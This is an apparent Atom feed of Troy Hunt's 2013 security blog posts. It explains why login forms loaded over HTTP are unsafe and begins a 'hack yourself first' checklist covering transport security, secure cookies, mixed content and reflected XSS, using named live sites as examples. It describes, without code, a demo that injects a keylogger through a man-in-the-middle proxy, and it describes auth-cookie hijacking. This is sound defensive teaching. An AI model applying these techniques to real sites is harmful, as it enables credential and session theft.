&lt;li&gt;&lt;a href="http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html"&gt;OWASP Top 10 for .NET developers part 9: Insufficient Transport Layer Protection&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.troyhunt.com/2013/04/5-ways-to-implement-https-in.html"&gt;5 ways to implement HTTPS in an insufficient manner (and leak sensitive data)&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.troyhunt.com/2013/05/your-login-form-posts-to-https-but-you.html"&gt;Your login form posts to HTTPS, but you blew it when you loaded it over HTTP&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.troyhunt.com/2013/04/the-beginners-guide-to-breaking-website.html"&gt;The beginners guide to breaking website security with nothing more than a Pineapple&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.troyhunt.com/2013/05/pineapple-surprise-mixing-trusting.html"&gt;Pineapple Surprise! Mixing trusting devices with sneaky Wi-Fi at #wdc13&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;There’s a lot more related content beneath those but that’s a good starting point. I hope you enjoy the podcast!&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/qRt9JTyYGKk" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/6810841247035997208?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/6810841247035997208?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/qRt9JTyYGKk/talking-with-scott-hanselman-on.html" title="Talking with Scott Hanselman on honeypots, pineapples and SSL" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><feedburner:origLink>http://www.troyhunt.com/2013/05/talking-with-scott-hanselman-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkEEQ307fCp7ImA9WhBaEEU.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-7400430161750349756</id><published>2013-05-20T21:46:00.001+10:00</published><updated>2013-05-21T08:23:22.304+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-21T08:23:22.304+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SSL" /><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Your login form posts to HTTPS, but you blew it when you loaded it over HTTP</title><content type="html">&lt;p&gt;Here’s an often held conversation between concerned website user and site owner:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;User:&lt;/strong&gt; “Hey mate, your website isn’t using SSL when I enter my password, what gives?!”&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Owner:&lt;/strong&gt; “Ah, but it &lt;em&gt;posts&lt;/em&gt; to HTTPS so your password is secure! We take security seriously. Our measures are robust.” (and other random, unquantifiable claims)&lt;/p&gt; &lt;p&gt;Loading login forms over HTTP renders any downstream transport layer security almost entirely useless. Rather than just tell you what’s wrong with this, let me show precisely why this is with a site that implements this pattern:&lt;/p&gt;&lt;iframe width="100%" height="480" src="http://www.youtube.com/embed/nm-85-bDP6c?feature=player_embedded" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;p&gt;How’s that for simple?! What people forget about SSL is that &lt;a href="http://www.troyhunt.com/2011/01/ssl-is-not-about-encryption.html"&gt;it’s not about encryption&lt;/a&gt;. Well that’s one feature of secure sockets, another really essential one is &lt;em&gt;integrity&lt;/em&gt; insofar as it gives us confidence that the website content hasn’t been manipulated. &lt;em&gt;Anything you load over an HTTP connection can be easily changed by a man in the middle&lt;/em&gt; which is why it’s absolutely essential to load those login forms over a secure connection. OWASP is very specific about this in &lt;a href="http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html"&gt;part 9 of their Top 10 web application security risks&lt;/a&gt; and summarise it well in the &lt;a href="https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet"&gt;transport layer protection cheat sheet&lt;/a&gt;:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;The initial login page, referred to as the "login landing page", must be served over TLS. Failure to utilize TLS for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location.&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;It’s not just Woolworths doing this, in fact it’s extremely common and you’ll see it on &lt;a href="http://www.godaddy.com/"&gt;GoDaddy&lt;/a&gt;:&lt;/p&gt; &lt;p&gt;&lt;img width="742" height="412" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="GoDaddy login page loaded over HTTP" src="http://lh5.ggpht.com/-R3oO1habrgc/UZoNCGOyApI/AAAAAAAAFVk/f_oRmxXp2HE/image5.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;On &lt;a href="http://www.pandora.com/"&gt;Pandora&lt;/a&gt;:&lt;/p&gt; &lt;p&gt;&lt;img width="742" height="412" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Pandora login page loaded over HTTP" src="http://lh6.ggpht.com/-j0-9eUp6Duo/UZoNC8NU1JI/AAAAAAAAFVs/htmQtMnpu04/image8.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;And even on the &lt;a href="http://www.ft.com/"&gt;Financial Times&lt;/a&gt;:&lt;/p&gt; &lt;p&gt;&lt;img width="741" height="413" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Financial Times login page loaded over HTTP" src="http://lh5.ggpht.com/-XB1UNVWqNSA/UZoNDirIWgI/AAAAAAAAFV0/xi0Lb_lkJSE/image61.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;I’m calling out these simply because they’re high-profile sites yet they all load the login forms over HTTP and post to HTTPS. Why aren’t they implementing SSL correctly? Most likely convenience; customers can login direct from the homepage and they can have it delivered over HTTP. Mind you Pandora links off to a login page so why they couldn’t just serve that securely to begin with is a bit of a mystery.&lt;/p&gt; &lt;p&gt;So how should it be done? Load the login form over HTTPS, either by linking to a dedicated login page or popping it up in a separate window (although there’s a UX argument against this). Even better, just load the whole site over HTTPS! Yes, there are some barriers to HTTPS across the board (managing certs in web farms, dependencies on assets from third parties, impact on CDNs, etc) but it sure solves the login form issue. Check out &lt;a href="http://www.netflix.com"&gt;Netflix’s approach&lt;/a&gt; – straight into HTTPS, job done!&lt;/p&gt; &lt;p&gt;The other issue with the examples above is that potential manipulation of the content aside, missing HTTPS on the login form leads to exactly the discussion this post opened with – users not believing their credentials are protected. All the messaging we’ve been delivering to website users since the early days of the web about checking for the padlock in the browser address bar goes down the drain because it’s simply not there! There’s no assurance that their credentials will be protected and it’s a real shame to dilute such an important security message.&lt;/p&gt; &lt;p&gt;As for how the exploit in the video works, it’s just a simple &lt;a href="http://fiddler2.com/documentation/KnowledgeBase/FiddlerScript/ModifyRequestOrResponse"&gt;Fiddler script&lt;/a&gt; to inject the keylogger before the body tag closes off. The keylogger itself is &lt;a href="https://code.google.com/p/javascript-keylogger/"&gt;over on Google Code&lt;/a&gt;, the only code I wrote to incorporate it was the script tags you saw at the end of the video and the “Hack Yourself” website which receives the logged keys. It really is that simple.&lt;/p&gt; &lt;p&gt;Whilst Fiddler is good for demonstration purposes, clearly an actual weaponised attack would work differently but the principle is the same: When unencrypted traffic passes through a node on the network – NIC, ethernet cable, router, proxy, ISP, etc. – it may be observed or manipulated by an attacker. This isn’t theoretical, there are many precedents such as &lt;a href="http://www.thetechherald.com/articles/Tunisian-government-harvesting-usernames-and-passwords/12429/"&gt;the Tunisian government harvesting Facebook credentials en mass&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;This is all a bit odd really, I mean these sites have gone to the effort of implementing &lt;em&gt;some&lt;/em&gt; SSL but then blown it by loading those login forms over HTTP. As we saw with Woolworths, posting over a secure connection is completely useless if there’s no integrity in the login form itself, an attacker may already have the credentials by then if the connection is compromised which is the very risk they all implemented SSL to protect from in the first place!&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/2MOCxoW2JyE" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/7400430161750349756?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/7400430161750349756?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/2MOCxoW2JyE/your-login-form-posts-to-https-but-you.html" title="Your login form posts to HTTPS, but you blew it when you loaded it over HTTP" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/nm-85-bDP6c/default.jpg" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/your-login-form-posts-to-https-but-you.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk8DRX8-fCp7ImA9WhBaFUg.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-4995890629154816184</id><published>2013-05-16T06:34:00.001+10:00</published><updated>2013-05-26T17:54:34.154+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-26T17:54:34.154+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="ASafaWeb" /><title>Hack yourself first – how to go on the offence before online attackers do</title><content type="html">&lt;p&gt;The unfortunate reality of the web today is that&lt;strong&gt;&lt;em&gt; you’re going to get hacked&lt;/em&gt;&lt;/strong&gt;. Statistically speaking at least, the odds of you having a website without a serious security risk are very low – 14% according to &lt;a href="https://blog.whitehatsec.com/the-state-of-web-security/#.UY77SrVTDL9"&gt;WhiteHat’s State of Web Security&lt;/a&gt; report from a couple of weeks ago. Have enough websites for long enough (as many organisations do), and the chances of you getting out unscathed aren’t real good.&lt;/p&gt; &lt;p&gt;There’s this great TEDx talk by Jeremiah Grossman titled &lt;a href="http://tedxtalks.ted.com/video/TEDxMaui-Jeremiah-Grossman-Hack"&gt;Hack Yourself First&lt;/a&gt; where he talks about the importance of actively seeking out vulnerabilities in your own software before the evildoers do it for you. In Jeremiah’s &lt;a href="http://jeremiahgrossman.blogspot.com.au/2012/01/tedxmaui-hack-yourself-first.html"&gt;post about the talk&lt;/a&gt;, he makes a very salient point:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;b&gt;Hack Yourself First &lt;/b&gt;advocates&lt;b&gt; &lt;/b&gt;building up our cyber-offense skills, and focusing these skills inward at ourselves, to find and fix security issues before the bad guys find and exploit them.&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;I love this angle – &lt;strong&gt;&lt;em&gt;the angle that empowers the individual to go out and seek out risks in their own assets&lt;/em&gt;&lt;/strong&gt; – as it’s a far more proactive, constructive approach than the one we so often see today which is the “after it breaks, I’ll fix it” approach. Perhaps that’s not always a conscious decision but it all too often turns out to be the case. It also advocates for the folks writing our apps to develop the skills required to break them which is a big part of what I’ve been advocating for some time now and features heavily in many posts on this blog as well as throughout &lt;a href="http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks"&gt;the Pluralsight training I recently released&lt;/a&gt;. If developers do not understand the risk – I mean &lt;em&gt;really&lt;/em&gt; understand it to the point where they know how to exploit it – then you’re fighting an uphill battle in terms of getting them to understand the value of secure coding.&lt;/p&gt; &lt;p&gt;It’s not just the dedicated security folks talking about hacking yourself first. The other day I was listening to &lt;a href="http://hanselminutes.com/369/wordpress-and-internet-security-with-kellep-charles"&gt;Scott Hanselman talking about WordPress security on his podcast&lt;/a&gt; and he made the following point:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;I know when I’m writing code I’m not thinking about evil, I’m just trying to think about functionality.&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Which of course is perfectly naturally for most developers – we build stuff. &lt;em&gt;Other people&lt;/em&gt; break stuff! But he goes on to say:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;When was the last time I sat down and spent a day or a week trying to break my site?&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;And we’re back to hacking yourself first or in other words, &lt;strong&gt;&lt;em&gt;making a concerted attempt to find vulnerabilities in your own code before someone else does.&lt;/em&gt;&lt;/strong&gt; As Jeremiah referred to it, &lt;strong&gt;&lt;em&gt;building up cyber-offense skills for developers&lt;/em&gt;&lt;/strong&gt;. Developing the ability to detect these risks is easy once you know what to look for, in fact many of them are staring you right in the face when you browse a website and that’s what I want to talk about here today.&lt;/p&gt; &lt;p&gt;Let me share my top picks of website security fundamentals that you can check on any site right now &lt;em&gt;&lt;strong&gt;without doing anything that a reasonable person would consider “hacking”.&lt;/strong&gt;&lt;/em&gt; I make this point for two reasons: firstly, you really don’t want to go messing up things in your own live site and testing for risks such as SQL injection has every chance of doing just that if a risk is present. The other reason is that by picking non-invasive risks you can assess them on &lt;em&gt;other peoples’&lt;/em&gt; sites. I’ll come back to why I’m saying this and the context it can be used in at the end of this post, the point is that these are by no means malicious tests, think of them as the gateway drug to identifying more serious risks.&lt;/p&gt; &lt;p&gt;This is going to be a lengthy one so let me give you a little index to get you started:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;a href="#LackOfTls"&gt;Lack of transport layer protection for sensitive data&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#InsecureLogin"&gt;Loading login forms over an insecure channel&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#SecureCookies"&gt;Secure cookies&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#MixedModeHttps"&gt;Mixed mode HTTP and HTTPS&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#Xss"&gt;Cross Site Scripting (XSS)&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#PasswordReminders"&gt;Password reminders via email&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#PasswordStorage"&gt;Insecure password storage&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#PasswordRules"&gt;Poor password entropy rules&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#PasswordDos"&gt;Denial of service via password reset&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#HttpOnly"&gt;HTTP only cookies&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#InternalErrors"&gt;Internal server error messages&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#RobotsTxt"&gt;Path disclosure via robots.txt&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#HtmlSource"&gt;Sensitive data leakage via HTML source&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#ParameterTampering"&gt;Parameter tampering&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#Clickjacking"&gt;Clickjacking and the X-Frame-Options header&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#Csrf"&gt;Cross Site Request Forgery (CSRF)&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Remember, every one of these is remotely detectable and you can find them in any website with nothing more than a browser. They’re also web platform agnostic so everything you read here is equally relevant to ASP.NET as it is PHP as it is Java – there are no favourites here! I’m going to draw on lots of examples from previous posts and live websites to bring this back down to earth and avoid focussing on theory alone. Let’s get into it.&lt;/p&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;h4&gt;&lt;a name="LackOfTls"&gt;&lt;/a&gt;1. Lack of transport layer protection for sensitive data&lt;/h4&gt; &lt;p&gt;We’ll start off one that’s easy to observe and manifests itself in several different ways. When we talk about HTTPS, we’re talking about a secure transport channel and as I’ve written before, &lt;a href="http://www.troyhunt.com/2011/01/ssl-is-not-about-encryption.html"&gt;it’s about more than just encryption&lt;/a&gt;. In fact HTTPS gives us assurance of identity (we know who we’re connecting to), it ensures data integrity (we know the content hasn’t been modified) and finally, it gives us privacy (the data is encrypted and can’t be read by others).&lt;/p&gt; &lt;p&gt;Observing HTTPS is simple as it’s right up there in the address bar:&lt;/p&gt; &lt;p align="left"&gt;&lt;img width="753" height="223" title="" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" alt="A website with an HTTPS scheme" src="http://lh5.ggpht.com/-KXbAIQyX2KY/UZPxEywSweI/AAAAAAAAFSs/PI0Kzf7IJFY/image51.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Any time any of those three HTTPS objectives are required – assurance, integrity, privacy – HTTPS needs to be there. There are several common HTTPS-misuse scenarios but clearly the most obvious one is when it simply doesn’t exist at all. &lt;a href="http://www.troyhunt.com/2013/04/5-ways-to-implement-https-in.html"&gt;We saw this recently with Top CashBack&lt;/a&gt; where they allowed for registration – including password transmission – without any transport layer protection whatsoever:&lt;/p&gt; &lt;p&gt;&lt;img title="" alt="Registration page on Top CashBack without HTTPS" src="http://lh5.ggpht.com/-xVgTkcgGhzE/UVv9kxVCDVI/AAAAAAAAFFk/Mgxp6eRYhGw/image7.png?imgmax=800"&gt;&lt;/p&gt; &lt;p&gt;Confidential information such as bank account info, passwords and other data which should not be publicly accessible &lt;em&gt;must be sent over HTTPS&lt;/em&gt;. Failure to do this opens up the requests to interception and eavesdropping by a third party at many, many points in the communication chain. Have a read of my post on &lt;a href="http://www.troyhunt.com/2013/04/the-beginners-guide-to-breaking-website.html"&gt;The beginners guide to breaking website security with nothing more than a Pineapple&lt;/a&gt; if you’re not quite sure how that might be possible.&lt;/p&gt; &lt;h4&gt;&lt;a name="InsecureLogin"&gt;&lt;/a&gt;2. Loading login forms over an insecure channel&lt;/h4&gt; &lt;p&gt;As &lt;a href="http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html"&gt;OWASP talks about in part 9 of the 10&lt;/a&gt;, HTTPS is about more than just “do you or don’t you have it”, it’s about doing it properly. Indeed this is why they refer to it as “&lt;em&gt;insufficient&lt;/em&gt; transport layer protection”. If a page isn’t loaded over HTTPS then you have no confidence in the integrity of it. In the aforementioned link, I pointed out how &lt;a href="http://www.thetechherald.com/article.php/201101/6651"&gt;the Tunisian government had harvested Facebook credentials&lt;/a&gt; because the logon form could be loaded over HTTP. This meant that the state run ISPs could inject their own script into the page to siphon off credentials on submit. Nasty.&lt;/p&gt; &lt;p&gt;Detecting insufficient use of HTTPS is easy – you won’t see the HTTPS scheme in the address bar! If you see a logon form and the address starts with http:// then that’s wrong. Here’s an example courtesy of Singapore Airlines:&lt;/p&gt; &lt;p&gt;&lt;img width="880" height="188" title="" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" alt="Singapore Airlines loading the login form over HTTP" src="http://lh4.ggpht.com/--KiZjHzZkOI/UZPxFneG5NI/AAAAAAAAFS0/-aO7S_HgBC0/image9.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;This may look the same as the previous section but here’s the difference:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="background: white; color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="background: white; color: maroon"&gt;form &lt;/span&gt;&lt;span style="background: white; color: red"&gt;id&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="headerLoginForm" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;action&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="https://www.singaporeair.com/kfHeaderLogin.form" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;method&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="post" &lt;/span&gt;&lt;span style="background: white; color: red"&gt;autocomplete&lt;/span&gt;&lt;span style="background: white; color: blue"&gt;="off"&amp;gt;&lt;/span&gt;&lt;/pre&gt;It &lt;em&gt;posts&lt;/em&gt; to an HTTPS path. Strictly speaking, the credentials &lt;em&gt;are&lt;/em&gt; encrypted when they’re posted but by then it’s too late – the login form has already been loaded over an insecure channel and an attacker has already (potentially) injected their own keylogger into the page. 
&lt;p&gt;On occasion, you’ll also see a form &lt;em&gt;loaded into an iframe&lt;/em&gt; within an HTTP page. The problem, of course, is we come back to integrity again: there is no guarantee that the HTTP page that embeds the iframe hasn’t been manipulated. Sure, when everything goes just right then the login form is loaded from a secure server, but when it doesn’t then you end up with an attacker loading their own login form that looks just like the real one and the victim is none the wiser.&lt;/p&gt;
&lt;h4&gt;&lt;a name="SecureCookies"&gt;&lt;/a&gt;3. Secure cookies&lt;/h4&gt;
&lt;p&gt;The thing about HTTP is that it’s stateless which means that each request is a new connection totally independent of previous requests. To maintain state (i.e. some knowledge about the user and their previous activities on the site), we most commonly use cookies and one of the most common uses of cookies is that after logging on, we set what’s referred to as an “auth cookie”. The auth cookie is verification that the user has indeed successfully logged on.&lt;/p&gt;
&lt;p&gt;Now, if an attacker can obtain that auth cookie then they can impersonate the victim simply be sending it in a request to the target site. I showed how this works in &lt;a href="http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html"&gt;part 9 of the OWASP Top 10 for .NET developers&lt;/a&gt; where I very easily sniffed out an auth cookie from a public network and hijacked the session. Consequently, &lt;em&gt;all authenticated requests must be made over an HTTPS connection&lt;/em&gt;. If you can load a page that displays personal information &lt;em&gt;while authenticated&lt;/em&gt; and the address starts with http:// then that’s almost certainly wrong.&lt;/p&gt;
&lt;p&gt;For example, take a look at Qantas:&lt;/p&gt;
&lt;p&gt;&lt;img width="880" height="429" title="" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" alt="Qantas sending auth cookies over HTTP" src="https://lh6.googleusercontent.com/-wKiY9HvSwJk/UZVoYYOj85I/AAAAAAAAFVM/glXm5msrdFU/s800/image13.png" border="0"&gt;&lt;/p&gt;
&lt;p&gt;Get your hands on that auth cookie and suddenly you’re viewing my travel history, booking flights on my behalf, buying stuff with my frequent flyer points and so on and so forth.&lt;/p&gt;
&lt;p&gt;The fix is easy and twofold: Firstly, you obviously don’t want to be loading pages over HTTP which need to show personal info once you’ve logged in, that’s quite clear. The other thing is that those auth cookies need to be flagged as “secure”. I wrote about this in detail recently in the post titled &lt;a href="http://www.troyhunt.com/2013/03/c-is-for-cookie-h-is-for-hacker.html"&gt;C is for cookie, H is for hacker – understanding HTTP only and Secure cookies&lt;/a&gt; but in short, cookies have an attribute called “secure” which when set disallows the browser from sending them over an insecure connection. Here’s what Qantas’ cookies look like in Chrome’s developer tools after I've logged in:&lt;/p&gt;
&lt;p&gt;&lt;img width="750" height="303" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Qantas with no secure cookies after authenticating" src="http://lh4.ggpht.com/-4fJw5m30lxo/UZPxHlqCD6I/AAAAAAAAFTE/_Wl0ovCD0_o/image6.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;No secure cookies! Some of them shouldn’t be because they relate to browsing habits outside of my authenticated session, but some of them &lt;em&gt;definitely&lt;/em&gt; should be and that includes the multiple auth cookies that are passing my frequent flyer account number around.&lt;/p&gt;
&lt;h4&gt;&lt;a name="MixedModeHttps"&gt;&lt;/a&gt;4. Mixed mode HTTP and HTTPS&lt;/h4&gt;
&lt;p&gt;Continuing with the HTTPS theme, another improper implementation is when a page loaded securely over HTTPS then embeds content &lt;em&gt;insecurely&lt;/em&gt; over HTTP. This was &lt;a href="http://www.troyhunt.com/2012/07/lessons-in-website-security-anti.html"&gt;one of the many (many, many) things that Tesco got wrong&lt;/a&gt; as it means you present your users with a rather disconcerting message like this:&lt;/p&gt;
&lt;p align="left"&gt;&lt;img alt="Mixed content warning from Chrome" src="http://lh4.ggpht.com/-d9fbOOGyKdg/UBY3CrV7vlI/AAAAAAAADy8/xbI5icswaxo/SNAGHTML6d29c03.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;That’s pretty clear – “Don’t load”! Not particularly reassuring, but assuming you &lt;em&gt;do&lt;/em&gt; load the page, here’s what you’ll see:&lt;/p&gt;
&lt;p align="left"&gt;&lt;img title="" alt="Tesco's Safe Shopping Guarantee with a security warning" src="http://lh5.ggpht.com/-cprx2-F1DS4/UBY3DCyG4rI/AAAAAAAADzE/KZEBtc9NA5U/SNAGHTML7e92333.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;The usual assurance provided by the HTTPS scheme and the padlock has a great red cross through it. Nasty (particularly on a page designed to convince you of their security!)&lt;/p&gt;
&lt;p&gt;What’s so bad about this? I mean the three HTTPS objectives I outlined earlier – assurance, integrity, privacy – still apply to the page, right? To the page itself as loaded over the wire, yes, but unfortunately things go downhill from there.&lt;/p&gt;
&lt;p&gt;Here’s a scenario: a page is loaded over HTTPS which therefore means an eavesdropper cannot modify the contents. However, that page then embeds JavaScript which is loaded &lt;em&gt;insecurely&lt;/em&gt; over HTTP which means that it &lt;em&gt;can&lt;/em&gt; be intercepted and modified. So that’s just what an attacker does and the modification includes embedding JavaScript to siphon off credentials just like the Tunisian government did earlier. It’s that simple.&lt;/p&gt;
&lt;p&gt;The easiest way to identify mixed mode is just to look for the browser warnings you see above. Different browsers will present the warning in different ways, for example in Internet Explorer:&lt;/p&gt;
&lt;p align="left"&gt;&lt;img width="848" height="57" title="" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" alt="Internet Explorer's mixed mode warning" src="http://lh6.ggpht.com/-PCwwhMXghtM/UZPxIKfat_I/AAAAAAAAFTM/x6mAwadA0DY/image5.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;You can also often see more information by clicking on the padlock icon, here’s Chrome (sorry Qantas, I’m calling you on bad security again!):&lt;/p&gt;
&lt;p align="left"&gt;&lt;img width="329" height="591" title="" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" alt="Chrome's mixed mode warning" src="http://lh6.ggpht.com/-eNIGLxrfnBs/UZPxIjAg78I/AAAAAAAAFTU/VRWu8G4-JOY/image2.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;But that doesn’t tell you &lt;em&gt;what&lt;/em&gt; was loaded insecurely. To do this, all we need to do is look at the requests made by the browser and the Developer Tools in Internet Explorer (just hit F12) are a great way of doing this. Here I’ve simply looked at the network requests made to load the Qantas website and identified the request that was sent over the HTTP scheme:&lt;/p&gt;
&lt;p align="left"&gt;&lt;img width="848" height="387" title="" style="border-left-width: 0px; border-right-width: 0px; background-image: none; border-bottom-width: 0px; padding-top: 0px; padding-left: 0px; display: inline; padding-right: 0px; border-top-width: 0px" alt="Network view showing insecure request on an HTTPS page" src="http://lh4.ggpht.com/-kOCTdHg6BXk/UZPxJYqvNDI/AAAAAAAAFTc/IDVV3u0B1Ck/image8.png?imgmax=800" border="0"&gt;&lt;/p&gt;
&lt;p&gt;And there we have it; a single request designed to set a tracking cookie and now you’re being told the whole page can’t be trusted!&lt;/p&gt;
&lt;h4&gt;&lt;a name="Xss"&gt;&lt;/a&gt;5. Cross Site Scripting (XSS)&lt;/h4&gt;
&lt;p&gt;This is the one area where some folks might argue a little exploring is no longer playing nice. However, assuming we’re talking about &lt;em&gt;reflective&lt;/em&gt; XSS (the kind you only see when they payload is passed in via the request) and not &lt;em&gt;persistent&lt;/em&gt; XSS (the kind you put in the database and gets served to everyone), I reckon, in my humble opinion, there’s no harm done assuming you don’t then go out and leverage it in an attack.&lt;/p&gt;
&lt;p&gt;Moving on, you can observe reflective XSS when content such as HTML tags and JavaScript is able to be passed to a page (usually via query string or form post data) and rendered into the markup thus changing the way the page behaves. Take a page such as Billabong’s registration page:&lt;/p&gt;
&lt;p&gt;&lt;img title="" alt="Billabong's registration page" src="http://lh6.ggpht.com/-f__eKBMA66w/UAPqjSQJRJI/AAAAAAAADtc/Klg8YTiJ2hk/SNAGHTML2b29423.png?imgmax=800"&gt;&lt;/p&gt;
&lt;p&gt;Now let’s manipulate a few query string parameters and &lt;a href="http://www.troyhunt.com/2012/07/heres-why-we-keep-getting-hacked-clear.html"&gt;the page can be modified to include Bugs Bunny and Miranda Kerr&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img title="" alt="Registration page manipulated by query string parameters" src="http://lh5.ggpht.com/-mbGqPHq5J2I/UAPqlCPdkFI/AAAAAAAADtk/Xv4EzV-2c-I/SNAGHTML60ba894.png?imgmax=800"&gt;&lt;/p&gt;
